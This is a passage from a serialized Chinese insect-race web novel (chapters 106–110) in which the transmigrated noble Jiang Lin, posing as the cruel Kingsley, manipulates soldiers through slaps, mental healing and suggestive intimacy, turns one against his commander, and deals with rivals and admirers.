江林撑着下巴:“你不会以为我会给你面子吧?诺里斯。” 诺里斯表情没有任何变化,只是继续道:“隔壁的疏导室座无虚席,你这边门可罗雀,可能没几天您就会被罢职了吧?那当初您又为什么要求我进军区呢?” “我以为我”江林咬了咬牙,金斯利进军区,是想进入掌握军权的位置,而不是在这里当医疗虫! 诺里斯从表情中猜出他的意思,“但路都要一步一步走,饭也要一口一口吃吧,只要您做出成效,还怕不能更进一步吗?” 虽然明知是饼,江林还不能不吃,金斯利可没那么聪明。 江林扫了一眼沉默的奥卡姆,朝着他招了招手,“你过来。” 奥卡姆站着没动,直到诺里斯点头,他才上前两步,浓眉大眼,半张脸都是黑色鳞片,精神有些萎靡,尾巴焦躁不安地摆动着。他脸上却没有表情,一双黑白分明的眼睛,黑色眼瞳很小,衬得眼白有些多。 “你先出去吧。”江林又看了一眼诺里斯。 “那我的副将就交给你了。”诺里斯还体贴地将门带上了。 男人身材魁梧,眼神压迫性很强,江林有一种被野兽盯住凉意,观察了一下雌虫的状态,低声道:“跪过来。” 奥卡姆只是犹豫了一瞬,便主动半跪到江林身侧,如同伏蛰的野兽,依旧冷冷盯着雄虫,江林这才看清楚他脖子上还未愈合的伤痕。 江林眯了眯眼,抬手落在他颈侧的肌肤上,感受着雌虫有些紧张的战栗,肌肉紧绷着:“你戴过禁戒电击项圈?” 奥卡姆是第一次和雄虫这么近,肌肤传来陌生的触感,窜过细痒,他盯着靠近雄虫露在空气中的纤细脖颈,似乎能闻到雄虫身上似有若无的味道,他嗓音也异常沙哑:“是的。” “诺里斯这个贱虫。”江林低声咒骂道。 禁戒电击项圈只用于危险指数不可控的虫化雌虫,也就是说眼前的雌虫,不光带过这种项圈,甚至还可能发狂攻击过虫受到过电击,现在他却被送到了一只脆弱的雄虫面前。 这样的雌虫几乎没有雄虫能打包票能够治愈,诺里斯在试探他,或者想得更坏一点,诺里斯想借机让奥卡姆杀死他? 雌虫平时的确不敢伤害雄虫,但若是精神崩溃,无法控制自己的雌虫,还真可能因为害怕或者想要自保而伤害雄虫。 初步半虫化的雌虫对精神域的保护更加警惕和小心,稍有不甚感觉到危险就会发起攻击。 见雄虫骂了自己的长官他也只是无动于衷,他早就是被抛弃的废虫了。 按照道理来说,江林应该要温柔以待,然后细心安抚治疗这只危险的雌虫才对,但他偏没有,反而抬手给了奥卡姆一巴掌。 奥卡姆怔了怔,似乎没想到江林会这么做,他双眼依旧沉默冷漠,但如危险的深潭。 “看见雄虫记住低下脑袋,知道吗?”江林露出倨傲的神情,“你的长官连基本的礼貌都没有教过你吗?” 而在监视器前的诺里斯也微微挑了挑眉,旁边驻守的雌虫惊呼出声,“他居然敢扇奥卡姆!难道不怕被杀死吗?” 奥卡姆依旧保持着高昂的头颅,江林抬手又要打,被奥卡姆粗粝的大手抓住他的手腕,只觉得手中的手腕如此纤细,稍稍用力就能拧断了。 “奥卡姆,你要反抗我吗?”江林却不害怕,低头看着雌虫,抬脚踢了踢他的腿,幽幽的黑眸望着他的眼睛,带着一点蛊惑的声音,唇角勾着一点桀骜的笑:“现在只有我能救你了,你要反抗你的主人吗?” 奥卡姆视线漠然的和江林对视几眼,松开江林的手,下一秒那被阻止的巴掌又猝不及防的扇在雌虫脸上,这次奥卡姆收敛了下颌,低下了脑袋,沉沉地说道:“你救不了我的” “诺里斯长官这只雄虫好凶啊” 诺里斯看着监视器下没有声音的画面,笑了笑:“这可是最尊贵的金斯利阁下啊。” “奥卡姆对他来说,不过低贱的雌虫而已,杀了都不稀奇。” 第107章 宽敞的诊疗室内, 墙上的监视器闪烁着点点红光,江林却没有在面对雌虫的时候露怯,相反摆出来的是高高在上, 不容侵犯的态度,这样倒是让眼前的奥卡姆有些怔住了, 下意识地对他产生了一些看重敬畏之心。 “我可是帝国最厉害的雄虫。”江林轻轻揉了揉奥卡姆有些卷翘的发丝,刚刚的冷冽气息又消散无踪了般,变得笑吟吟的。 奥卡姆的身躯很高大, 半跪在江林面前存在感依旧丝毫不弱,犹如开刃的剑锋, 锋利而又沉默,看向雄虫的双眼染上了丝丝希冀,原本他从没想过雄虫会冒险救他。 “你跟在诺里斯身边多久了?”江林伸手在奥卡姆脸侧的黑色鳞片上轻轻抚摸着,触感冰凉,带着坚硬的触感。 奥卡姆有些生疏地感受着雄虫的柔软,喉咙微微发紧, 沉重的呼吸声都减轻了, 害怕吓到眼前的雄虫, 他注意力全部被吸引,自然是知无不言言无不尽:“我从进入军校开始就跟在诺里斯长官身边。” “那感情深厚咯?”江林皎白的手指和他的脸相比, 都显得娇嫩。 奥卡姆刚想点头, 但下一秒听到雄虫道:“和你的命相比呢?什么更重要些?” 他顿时收声了,沉默下来,脑袋也耷拉了下去。 “他想算计我, 害我,我自然不可能无偿为他做嫁衣的,这样的亏本买卖没有雄虫会做。”江林收回手, 奥卡姆怅然若失之际,便感受到耳廓因为雄虫凑近而感受到了细小的气流。 雄虫声音很低,几乎让虫听不见,但奥卡姆微微紧绷了身体,双眼变得晦暗不明,拳头捏紧了。 “选择权在你。”江林直起身体,给了他冷静思考和权衡利弊的空间,回到自己书桌后的位置上,翘起了二郎腿,优哉游哉地哼着曲儿,雌虫如果不肯点头,他不会让自己陷入危险之中。 “你放心,我自有法子护着你。”江林又给了他一针定心针。 奥卡姆沉默半晌,最终还是点了点头,声音越发沙哑了:“我愿意为阁下效力。” 江林弯着眸子笑了,朝着他勾了勾手指,奥卡姆便站起身来,主动凑近雄虫的身边,半蹲下身,像个大型的狗类。 雄虫伸出精神意识的触须,几乎崩溃枯竭的精神脑域防御性极强,下意识地抵触,江林有些不耐烦地甩了他一巴掌,给他打得一愣,“不要妄图拒绝我。” 雌虫在江林的强势下变得小心翼翼起来,不敢表现出丝毫的反抗,甚至微微仰起脸,将自己的脸凑到江林的手边,让他打起来更方便。他浑身紧绷,精神力从攻击性的尖锐,变得僵硬和温和,任由雄虫的柔弱的精神触须进入他的脑域。 江林眼前闪过一片类似于废墟的地方,黑气笼罩乌黑一片,坍塌萎缩的脑域。他的精神力有些生疏进入他的脑域,上次看见的脑域还是乔治的,又有生机,仿佛即将喷射而出的岩浆。而奥卡姆的脑域呈现的景象则像是干枯的河流,露出干裂贫瘠的地面,荒芜又破碎 奥卡姆看着雄虫越发苍白的脸色,双眼目不转睛盯着他的脸,能够感觉到落在他眉心的手指在轻微地颤抖,雄虫默默咬住了自己有些泛白的唇瓣,他的沉甸甸的勾尾缠上了他的小腿,缓缓收紧,如同藤蔓般攀附雄虫身上。 江林闭了闭眼,身形一晃落入奥卡姆强壮的怀抱里,额头抵在坚硬的胸膛,任由雌虫环住自己的身体,示弱般在他怀里喘息,似乎用尽了全身的力气。 奥卡姆明显感觉自己的身体状况在好转,且精神力被治疗修复了三分之一,他下意识地抱住怀抱中的雄虫,埋入他颈侧,呼吸有些沉重,有些心痒,想要伸出舌头舔舐雄虫白皙的脖颈,最终只是克制地咬牙,不敢做让雄虫不开心的事情。 “奥卡姆,我几乎用尽了全身的力气去帮你,你不会让我失望的对吗?”江林蹭来蹭他的肩膀,掩饰着眼底的冷漠。 /// 夜晚降临,奥卡姆在诺斯里的办公室,依旧是白天沉默的模样,诺里斯好奇地看着他,转圈似的打量着他,笑眯眯地问道:“你感觉怎么样?” “金斯利阁下很厉害,我感觉好多了。”奥卡姆诚实地说道。 显然对于这个评价诺里斯有些惊讶,微微挑眉:“是吗?那你们都聊了什么?你似乎被他打了?” “金斯利阁下想让我为他效力,给了我一个任务。”奥卡姆认真地看着他。 “你答应了吗?”诺里斯露出一点好奇的眼神。 “答应了。”奥卡姆眉梢微微一动,话音落下的瞬间已然出手。 白光一闪,诺里斯对自己一直培养的副手根本毫无防备,当尖刀刺入腹部的时候,他才很快伸手抓住奥卡姆,双眼微微瞪大,没想到不过是一面之缘,奥卡姆居然背叛了自己。 诺里斯微微勾起唇角,对上奥卡姆冷漠非人的眼睛,“他给你的任务就是刺杀我吗?” “对。”奥卡姆眼神似乎没有愧疚,毕竟他是半失去理智的虫化雌虫了,本能让他更亲近雄虫,却也让他失去了基本的情感,忠心在逐渐弱化。 诺里斯狠狠踹了他一脚,血从腹腔一滴滴落在地上。 /// 当听到杰里打听到诺里斯长官被刺杀的消息后,江林满意地盖着被子睡了起来,笑着睡着,心情愉快。 隔天就让江林有些开心不起来了,因为诺里斯就在疏导室等着他,手上拿着把尖锐的刺刀,似笑非笑的表情落在江林脸上。 “啧,你怎么没死啊?”既然撕破了脸皮,江林也不准备装了,无所畏惧地嘲讽起来。 诺里斯语气平淡,似乎毫无芥蒂:“阁下的心是不是太狠了?” “都是聪明人,何必再打哑谜?”江林脱掉自己的外套,这一路走来都出汗了,他望着那平静冷漠的眼睛:“怎么想要杀死我吗?” “我提醒你,这里可有很多监控噢。” “你知不知道因为昨天的刺杀行为,奥卡姆可能会死?”诺里斯唇角的弧度依旧。 “哦,你认为我会关心雌虫的死活?”江林讥讽出声。 诺里斯啧啧两声,“金斯利阁下是否太绝情了,毕竟他可是为了你连命都不要了。” “嗯嗯。”江林敷衍地说道:“那请你高抬贵手,又没杀死你,你就原谅他吧,惩罚他多吃一碗饭得了。” 诺里斯定定看了江林两眼,脸上的笑容消失,显得有几分阴森,他朝着江林走来,刀刃的白光唬人,江林眯了眯眼,诺里斯的匕首架在他脖子上,似乎在比量哪里的皮肉更嫩,更好下手。 “金斯利阁下厉害,这次算我轻敌冒昧了。” 江林因为轻微的紧张,锁骨微微凸起,面不改色说:“你觉得策反雌虫很难吗?只看我想不想而已。” 他那张嚣张骄傲的脸,似乎所有雌虫臣服于他都是极为正常的事情。 “你最好是马上把刀拿下去,因为马上就会有虫过来抓你了。” 诺里斯放下刺伤他的尖刀在桌上,“送给你了。” “奥卡姆我也不会杀,他是我一手培养的副将,我可舍不得就这么送给你。” 江林无所谓的摆手,“我还不稀罕要呢。” 诺里斯走了。 江林又开始了百无聊赖的上班生活,直到门被轻轻敲响,他不耐烦地看过去,看见了一双温柔的蓝眼,笔挺的西装衬得他高挑俊美,脸上带着温和的笑容:“金斯利,我回来了。” 江林一怔,旋即脸上绽放出灿烂的笑容,朝着军雌扑了过去,一把抱住他的腰,“哥哥!你怎么回来了?” 亚斯是金斯利唯一不讨厌的雌虫,从小护着他的兄长,不管犯多大的事情,亚斯都会帮他解决,直到被查出金斯利不是他的弟弟,甚至是顶替了弟弟身份的虫,两人从头到尾都没有血缘关系和户籍关系,亚斯才彻底对他失望。 亚斯抱着弟弟的肩膀,揉了揉他的脑袋,笑着说道:“金斯利怎么变得这么黏人了?抱着哥哥不放。” “哥哥,你不是要驻守在南方军区吗?”江林抓着他的胳膊,抬脸看着他,双眼有些疑惑。 “我申请调回帝都了。”亚斯摸了摸柔软的脸蛋,眉梢微微蹙起,叹息道:“你瘦了金斯利,下巴都尖了。” 实则胖了十斤的江林: 兄长的爱有些太沉重了,他有些吃不消。 江林握着亚斯的手,放在脸上蹭了蹭,也乖巧地说道:“哥哥,也瘦了好多呢。” 亚斯低头在江林额前落下轻轻一吻,眼神有些锋芒,“我听说你受委屈了,别怕。诺里斯无礼且危险的行为我一定会上报军部让他受到惩处,上次你遇见的刺杀也是朱利安阁下安排的,我自然会让他们付出代价,让他们不敢再朝着你伸爪子。” 江林没想到亚斯才刚刚回来,却对他的事情了如指掌,甚至将朱利安曾经的雌君丹尼尔也收入麾下,更是对朱利安的家族发出了警告的讯息。 “你真好,哥哥。”江林小猫似的弯起了双眼,不似外界说的那么嚣张跋扈。 亚斯手指碰了碰他乌黑卷翘的睫毛,粗糙的大手有茧,轻轻摩梭着他的侧脸,眼神仿佛荡漾着溢出来的温柔:“金斯利只需要享受哥哥的照顾就好了。” 江林缓慢且乖巧地眨了下眼睛。 第108章 江林和亚斯的相会并没有耽误影响到江林的生活和工作, 成年的雄虫就已经搬离了原本的家族独立生活,他在疏导室呆得烦了,就会出去透透风, 很难看见旁边疏导室雄虫的影子。 他的疏导室里似乎一直都有虫在治疗,江林由衷地疑惑了一瞬, 穿越的雄虫精神力这么强吗? 这天他逛了一圈回来,居然看见了这位丹阁下,他眉眼间藏不住的倦色, 长长呼气的动作在看见江林后,停顿下来。 江林率先打招呼, 朝着他走进:“噢,这不是丹阁下吗?好久不见啊。” 丹也扯出一抹笑容,显然对这只雄虫也有所耳闻,“你好,金斯利阁下。” 但他对金斯利没有什么好的印象,他追求平等, 只觉得眼前的雄虫手段过于残暴了些, 丝毫不会怀疑一个世界会有两只穿越虫。 “丹阁下的手一直在抖, 是生病了嘛?”江林弯眸扫过雄虫的手指,微微挑眉。 丹脸上有些僵硬, 他早就知道金斯利的懈怠, 心中对他不耻,却不好表现,只是道:“刚刚治疗了一只高级雌虫, 精神力和体力都有些透支了。” 他露出善良的一面,江林自然不会吝啬衬托他的善心,他面露嫌恶:“这些卑贱的雌虫也值得你这么大费周章吗?丹你还是一如既往的伪善啊, 帝国百分之九十以上的雌虫,你救得过来吗?” 这样的说辞丹似乎习以为常,反驳道:“能救多少是多少,我们都是虫,又谁比谁高贵呢?” 江林似乎露出一点讶异的神色,旋即就是明晃晃的轻慢和嫌弃,两人都露出瞧不上对方的神色,第一次会面显然有些不太愉快。 /// 不说被江林标记后连着一星期都去医院孕科检查的格雷西,受到江林影响进入情潮期而被暴打的哈珀,没有抢到雄虫的所有权,最近都会偷偷去江林所在的军区去晃,借着切磋的名头,但并没有一次成功见到江林。 但在梦中,他却看见过很多次,雄虫的飘散的窗幔,亲吻起来很软的舌尖,看起来皎白的腰线,双腿也是长又直 他像是沉浸在那次情潮期没有醒来,浑浑噩噩,感觉身体在隐隐发烫。每次感觉自己即将提前进入情潮期,却每次睡醒又没有。 那只是他的错觉,哈珀觉得自己真的太奇怪了,同时又极其心虚,心中下意识地认为雌虫的本能是如此可怕,居然对金斯利这样的雄虫都能产生非分之想,简直匪夷所思,是想再次被折断骨翅吗?还是嫌在学校的霸凌还不够?还想继续回到雄虫身边被羞辱吗? 尽管哈珀在心中无数次警告自己,不应该做出什么出格的事情,但在他临行的前一天,主动来到了江林的庄园。 “哦,哈珀·贝尔你大概是个贱货,或者是受虐狂,还不赶快离开,等待你的可能又是鞭打和凌虐”哈珀还未达到雄虫住宅的古堡,咽了咽口水,正在自言自语。 他顿住脚步,看着花丛中的雄虫,他穿着一件简单的贵族内衬,外面套着勾勒腰身的马甲,哼着小曲,在艳丽的花团中仿佛漂亮的蝴蝶,身姿翩翩,脸上勾着笑,心情似乎很不错。 哈珀下意识地放轻了呼吸,有些害怕惊扰到这样的雄虫。 但江林还是注意到了那难以忽视的高大的身影,水中花洒是机械花洒,能够调档,能够控制水势的幅度和大小,所以只是按了一个按钮,花洒中的水便长距离且准确无误地淋头浇在哈珀脑袋上,瞬间让他头发变得湿哒哒的。 哈珀站着没躲,眼睛被水浇得有些疼,却没有阻止他的视线落在江林脸上,仿佛要看清眼前雄虫的恶劣,好抹去自己心中那点不切实际、自甘堕落的妄念。 见他不躲,也不逃,江林的恶作剧落空便显得有些没意思了,关掉了花洒,看着落汤鸡般的雌虫,撇了撇嘴:“你来找我干什么?” 哈珀抹了一把脸,朝着雄虫行礼后,硬着头皮说道:“我明天即将前往前线,您今天能给我做精神疏导吗?” 提出这样无礼的要求,哈珀做好被雄虫唾骂和虐打的准备,但也没关系只要雄虫不使用其他药剂和武器,只是单纯地鞭打,并不会影响他的行程。 毕竟这样的请求,雄虫基本上是不可能答应的。他和雄虫匹配了这么久,只接受过两次他的精神疏导,还是最浅层和最敷衍的。 第一次是因为虫帝的命令,第二次是当时他被阁下用药物捉弄得快精神崩溃,不替他梳理,可能无法交差,才有了那两次精神疏导。 江林微微挑眉,朝着他走了两步,哈珀单膝跪在地上,浑身都是湿辘辘的,身体的衬衣包裹着结实的肌肉,姿态摆得很低。 系统的好感值中,居然是他的涨得最快,明明他们并没有发生什么,但对于很多虫族来说,雄虫和雌虫是天生相互吸引的,雌虫对雄虫的渴望可能比他们想象的都要浓烈。 江林微微抬手,哈珀下意识地闭了闭眼睛,等待巴掌落在他脸上,却半晌没有感觉到疼痛,他又睁开一双眼,对上的是江林戏谑的笑容:“你想我打你?” “不,不是”哈珀反驳道。 “站起来吧,我帮你做精神疏导。”江林转身,从花园穿过,手中的花洒还在一路洒水浇花。 哈珀:为什么雄虫不按照常理出牌了?现在不应该狠狠羞辱他一顿,对他进行一些自不量力的惩罚吗? 他忍不住咽了咽唾沫,视线落在雄虫长腿上,军靴衬得小腿细,大腿长,轻轻踩过泥泞的小道,脚步轻快。 哈珀朝着江林追了过去。 江林扔下花洒,进入客厅,陷入了沙发里,玄关处还有红色的地毯,杰里正在监督晚餐,看见雌虫这个点进来还有些惊讶。 “阁下,需要加一双筷子吗?”杰里问。 哈珀越发紧张起来,心脏都悬着。 直到江林冷嗤一声:“不用,他可不配和我们同桌吃饭。” 这话说得刻薄,但哈珀却觉得心弦一松,还好,还好,还是那个刻薄恶毒、对雌虫没有好脸色的雄虫。 两只雄虫进食的时候,哈珀就浑身湿透地站在身后,他低着脑袋有些尴尬拘谨,却也不是不能接受。 “再过几天我就要和尤金成婚了。”杰里语气中似乎有些开心。 “哦,恭喜你啊。”江林没什么情绪地说道。 “那以后我还能住在您这里吗?”杰里犹豫地问道。 江林顿了顿:“当然不行,难不成你要把你的雌君也带到这里来污染空气吗?还有你未出生的虫崽?想一想我就觉得头疼。” 哈珀听出来雄虫似乎很讨厌虫崽。 “那好吧,但我可以随时来找您吗?”杰里希冀地看着江林。 “也不行,你要帮我盯着尤金的家族,怎么能随时回来呢,只能有紧要情报的时候才能来找我。”江林不讨厌杰里,但也不太喜欢身边随时都有拖油瓶的感觉。 之后的政治改革,尤金家族可出了不少力,而且他们家族研制出的雄虫精神干扰剂,是以雄虫为实验载体研究出来的,现在只是掩藏得够好,没有人知道而已。 杰里这次和尤金订婚,也是带着任务去的。 哈珀将两人的话收入耳中,不由怔了怔,这些话是能当着他的面说的吗? 两虫很快便用完餐了,杰里识相地离开,其他虫侍也回到了自己的房间,没有雄虫阁下的命令不会出来。 江林喝了口饮料,压了压那绿草食材的苦涩味道,抬眼看向哈珀,他闪烁着江林的眼神,在他缓慢靠近的同时,缓缓的握紧了拳头,手背的青茎凸起。 “哈珀。”江林看着半干头发的雌虫,视线在他灰黑色的肌肤上流转一瞬,感受到眼前雌虫的紧张和后悔。 哈珀现在真的很后悔来找雄虫。 “这次又要去哪里?”他抬手轻轻握住哈珀的手腕,感受到雌虫浑身的紧绷,简直像块僵硬的铁板。 哈珀脑袋都炸了,清醒得炸了,从未和雄虫这般近过,雄虫到底怎么了!? 他在心中怒吼。 江林在沙发上坐下,手指还圈着雌虫的手腕,哈珀想也不想跪了下来,低着脑袋根本不敢看他,挣脱了雄虫的牵制,甚至主动递上自己的匕首,“阁下又想用什么办法折磨我?请您尽管来吧,不要再对我这种平民展示您的关怀了。” 江林看着那把锋利的匕首,突然觉得雌虫这般,倒是生出一点想要戏弄的心思了。 他拿过匕首,在雌虫松一口气的同时,扔在身后,哐当一声,让哈珀错愕了一瞬。江林微微弯腰看着哈珀,声音轻柔了些:“哈珀,我们算是一起长大吧,如果没有我,你根本无法觉醒为S级的雌虫吧,我们的关系不应该这么僵硬的。” 金斯利自诩是他的压迫让哈珀觉醒了这么高的等级。 “你主动找我要求精神疏导,是在向我求和吗?”江林抬手,抚摸上雌虫有些粗糙的脸颊,他下意识地闪躲着他的触碰,双眼都露出惊恐之色了。 “金斯利阁下!”哈珀见他这般,比看见最凶恶的污染物都觉得害怕,往后退了两步。 江林脸冷下来,手在空中落空,他也没有收回:“滚过来,不要给脸不要脸。” 哈珀不敢不从,心惊胆战地膝行过去,迟疑了一瞬,用自己的脸去贴他的掌心。 第109章 哈珀意识到自己这个决定的冲动和错误, 但他此刻却没有退路,抬眼看向眼前黑眼黑发的雄虫,黝黑的双眸中似乎藏着深邃的坏心思, 缓缓弯了起来:“哈珀你好像很怕我?” “但是你从前是不怕我的。” 江林低声道,这话也让哈珀沉默一瞬, 很奇怪从前雄虫常常迫害他,但他更多的是不屈和生气,从未像现在这般产生过畏惧。 江林不准备继续往下戳破, 给哈珀一点能够后退的空间。 哈珀感觉到熟悉又陌生的精神意识触须在钻进自己脑域,带着一股轻柔的风。他心脏紧缩, 双眼充满了难以置信,宁愿相信雄虫会杀死他,也不会相信雄虫真的在为他疏导精神力。 他眼神微微闪烁,脑海中出现雄虫那天脸颊泛红和眼眶湿润的神情,手指轻轻捏紧了雄虫的衣摆。 江林的目光认真且专注,在雌虫震惊的目光中, 缓缓低头凑近他的唇角, 那么大一只雌虫愣在原地, 系统中的好感值也在以肉眼可见的速度上升,轻柔的呼吸落在哈珀的脸颊, 他垂眼看着哈珀。 “金斯利阁下”哈珀不断地吞咽着口水, 手指捏住他的手腕,攥得有些紧,眼神期待又害怕。 “哈珀你好像很期待?”江林俊脸放大, 手顺着脸侧抚摸上他的额头,往后轻轻拽住他的头发。 “不是”哈珀下意识地反驳。 “不想?”江林唇轻轻落下,睫毛卷翘着, 清凌凌的目光看着他,他贴着上唇亲了亲,下一瞬雌虫手臂勾住他的脖子,后脑勺上的手狠狠压向自己。 用力地吻在清醒的时候辗转落下,江林的眼神有些嘲讽,似乎在问不是说不想吗? 哈珀逃避着他的视线,手指按在他后颈耳后的位置轻轻摩梭着,直到雌虫狠狠咬了一口他的嘴唇,瞬间尝到了血腥味,他不得不把雄虫松开。 江林先给了一点甜头,现在才开始慢悠悠谈条件:“我和诺里斯同时掉进水里,你会救谁?” 这几乎是不需要思考就能给出答案的问题:“当然是救金斯利阁下。” 诺里斯有足够自救的能力。 “哦,那好,我想让你帮我杀掉诺里斯,可以吗?”江林口出惊人。 “这不说诺里斯长官的能力突出,但我怎么能杀死诺里斯长官呢?对不起,我做不到。”哈珀在他清澈的眼神中愧疚地低下头,若是他恢复理智,只怕不会觉得愧疚,而是觉得荒谬,雄虫居然会觉得自己会帮他对付诺里斯? “好吧,我也只是开玩笑而已。”江林无所谓地轻笑一声,“那另外一个要求你就必须答应我了。” “帮我查出尤金家族的实验室在哪。” 哈珀愣了愣,这是饭桌上他听到的问题。 “你在军部,人脉广,有人手,这不难吧?”江林使唤起虫来非常地得心应手,尽管在今天之前两虫还在针锋相对。 “但我马上就要前往前线好吧,没问题。”哈珀在面对江林的目光后突然改口。 江林这才满意,在雌虫渴望的眼神中重新弯了腰,被雌虫拽入怀中抱住,被抵在沙发上。江林唇被大舌头撬开,眼眶逐渐变得湿漉漉的。 哈珀吻的很用力,小心地收取自己的报酬,含着雄虫的舌尖辗转的吮吸,雄虫因为闭不上的嘴唇,唇角淌出一点晶莹的水渍,下巴都在泛着光,眉眼红红 乔伊斯出现的时候,看见的就是这幅□□的画面,雄虫微微敞着胸膛,露出白皙肌肉,双腿微微岔开,雌虫跪在他两/腿/之间,趴在他肩膀,发丝在他胸前撩过,黑白分明的肤色。 雄虫额前浮动着一层细汗,黑色发丝凌乱,锁骨和脖子上似乎都淌着晶莹的水光,分不清是汗水还是雌虫在他身上舔过的痕迹 乔伊斯古铜色的肌肤,眼神阴沉,双眼的颜色不同,一只是灰色的一只是琥珀金,灰色的左眼眼眶还有一条疤,贯穿了上下眼皮,他是金斯利匹配的最后一只雌虫。 左眼就是被金斯利亲手挖下来的,原本是空战队的军雌,但因为左眼的缺失,他被部队劝退,现在是一名议会成员。 他对这个毁掉自己职业生涯的雄虫恨之入骨。 他看着雌虫仿佛没有理智的趴在雄虫身上,只觉得恶心反胃,阴沉开口:“如果没弄错的话,似乎今天和金斯利阁下匹配的雌虫应该是我。” 第三虫的声音,让哈珀弓起的背微微一紧,抬眼看向江林,却看见里面的戏谑,他是故意的。 雄虫故意让乔伊斯看见两人的亲密动作,以乔伊斯的多疑性格,绝对会对哈珀产生疑心。 江林的手指在哈珀脑袋上薅了一把,唇角微肿,雌虫吃得很用力,他笑着问:“我身上都是你的口水。” 哈珀大脑又轰地一声爆炸,鼻尖还带着点汗,他低头轻轻系上江林的扣子,沉默以对,现在所有的解释在乔伊斯面前都是苍白的狡辩,狡猾的雄虫真的很香很软。 江林从地毯坐回沙发上,哈珀整理着他的衣领,他只是微微扬起下巴,任由他动作,看着这只从未见过的雌虫,那阴恻恻又冰冷刺骨的眼神,那眼睛的刀疤,让他想起金斯利藏宝阁中那束之高阁的金色眼睛,还拿药水泡着呢。 “乔伊斯,今晚我已经给哈珀治疗了,精神力虚弱,无法再治愈第二只雌虫了。”江林知道今晚疲惫的雌虫是他,他又看向沉默的哈珀,低声道:“哈珀一路顺风,平安回来。” 哈珀视线扫过雄虫虚伪的脸,虽然知道他是故意的,心中还是忍不住叹气,点了点头,准备离开。 乔伊斯没有和江林过多地纠缠,也没想过雄虫会帮他,他跟着哈帕一起离开。 “你没有什么想要解释的吗?哈珀少将。”乔伊斯因为眼上的疤痕,整个人显得有些阴鸷冷漠,那双眼死死地盯着哈珀。 “你背叛了我们是吗?你是个叛徒。” “没有,我没有。”哈珀重复道,语气有些轻:“我只是来找他精神疏导的。” “精神疏导?”乔伊斯低低一笑,说不清的嘲讽:“我没有做过精神疏导,但我见别人做过,不需要舔雄虫的月匈。” “”哈珀就是有一百张口也解释不清了,毕竟事实摆在眼前,脖子血管微微凸起,脸颊涨红。 “你们是疯了吗?”乔伊斯露出匪夷所思的表情:“被标记的格雷西,伏恩因为他弟弟也变得摇摆不定,你又像个发情的畜生,诺里斯被下属刺杀” 乔伊斯不过忙了半个月工作,感觉所有的事情都变得不可控制了。 哈珀:“我真的没有背叛。” 他苍白无力地解释道。 “你觉得我会信吗?”乔伊斯进入自己的飞行器前,冷漠地扫了一眼他:“也许你忘记了,当初在学院里,你被金斯利当狗骑的日子了吧。现在心甘情愿地当狗,我也不怪你,但不要忘记当初是谁护着你全家的。” 哈珀看着乔伊斯的飞行器离开,凉风拂面,他竟然并不自觉地打了个哆嗦,当初金斯利不光伤害他,还要去作践他的雌父,最后是乔伊斯帮了他 所以他不会背叛的,只是今天的荒唐又该怎么解释呢? 无从解释,再来一次,他也抵抗不了雄虫的主动和身体本能地靠近,甚至想要更进一步,脑域的精神污染明显轻快了很多。 哈珀低着头,唇角弯起一点自嘲的笑容,也许就如雄虫说的,他这种平民骨子里就是下贱的,就算雄虫百般欺凌,但只需要他示弱一点,他就会摇着尾巴朝他低头。 /// 哈珀带着军队离开首都,江林的生活没有任何的影响,但从收集的资料中发现,乔伊斯之所以那么忙,是在准备下一次的议会长选举,而乔伊斯的家世也不俗,甚至现在势头比金斯利家族更甚。 不得不佩服金斯利的惹祸手段了。 关于金斯利不是亚斯亲弟弟这件事,也是乔伊斯发现和戳穿到亚斯面前的。 “金斯利哥哥!”江林正窝在沙发上睡觉呢,格雷西的弟弟汤米从军校回来,直奔他家的客厅,瘦削的小孩变得强壮了些,穿着干净的衣服,手上提着学校做的糕点,献宝似乎展示在江林面前。 江林没有虐待小孩的嗜好,所以在汤米察觉到江林没有攻击性后,便主动朝他靠近,这段时间只要放假,就会缠着江林玩儿。 “我给你带了好吃的。” “嗯,放桌上吧。”他打着哈切,有些疲倦,望着那双干净的紫眸,想到了他那冷傲桀骜的哥哥。 汤米极有颜色,笑眯眯地说道:“金斯利哥哥不开心吗?” “嗯?”江林撑着下巴看着他。 “是啊,你哥哥太不听话了。” 汤米一怔,他对他哥哥很陌生,但本能地亲近:“那我让他和你道歉好不好?” “好啊。”江林拉长语调答应。 虫侍从外面敲门,说外面有只雌虫找他。 不是所有的雌虫都能自由进出雄虫的庄园,一般只有帝国匹配的雌虫有这种殊荣或者是雄虫熟悉的好友。 “谁啊?” 虫侍毕恭毕敬地说道:“好像是伏恩大人的弟弟,乔治。” 江林微微挑眉,汤米嘀咕着:“这是谁啊?” “外面在下雨,他就孤零零地站在雨中,看着怪可怜的。”虫侍继续道。 “他身边没有别虫吗?”江林问。 “没有。” “把他带进来吧。”江林拧了拧眉,只想说这些雌虫怎么这么多倒霉弟弟啊? 第110章 落汤鸡似的雌虫, 站在明亮的灯光下,拉耸着脑袋,汤米带着探究又好奇的目光。 乔治刚成年, 样貌显得年轻俊秀,带着少年的气质, 嘴角微瘪,看向江林的眼神带着丝丝委屈。 江林揉了揉额头,显然有些苦恼, 眼前的雌虫和他刚来这个世界扬言他会遭到报应的雌虫差别很大,像只被雨淋过后的狼狈小狗。 “你哥哥伏恩呢?”江林语气有些不耐烦。 “不知道。”乔治声音闷闷的。 “你自己偷跑出来的?”江林又问。 乔治沉默着, 眼神有些闪烁,不打自招了这是。 “你想干什么?”江林挑起一块水果,喂到旁边小孩的嘴里。 “我”乔治有些难以启齿般,垂着眼睛,一副叛逆少年的做派。 江林见他不说话,他直接让虫侍联系了他哥哥伏恩, 没有闲心安慰小孩子。 “金斯利哥哥, 他是不是想要做你的雌君啊?”汤米出语惊人, 乖巧地坐在江林的旁边。 “”乔治立刻抬起头看向江林,江林下意识地反驳:“瞎说什么呢” 但他抬眼看向乔治那双期待的双眼时, 嘴角抽搐了一瞬, 眼神变得意味不明起来:“你不会真的有这种想法吧?” 乔治红着脸,抿唇不说话。 江林眼前一黑,说实话, 他一直把乔治当成小孩子,毕竟他的作派的确就是很叛逆和幼稚。 伏恩来得倒是快,看得出来这是真的在乎这个弟弟, 他一来就跪,能够看出来金斯利的恶劣形象几乎在众虫心中根深蒂固。 “行,你来了,就把你弟弟带走吧,我也该休息了。”江林松了一口气,似乎终于把累赘清理掉了。 伏恩牵着乔治的手腕,乔治站着不动,看着黑发垂落在肩膀,面容精致雪白的雄虫,单膝跪在江林跟前,低着头,手按在自己左肩的位置,语气很低:“我喜欢金斯利阁下,希望金斯利阁下能够和我成婚” 伏恩震惊地低下头看着地上满眼希冀看着雄虫的少年。 “你乔治你疯掉了吗?!”伏恩蹲下身抓着弟弟的肩膀,表情难看。 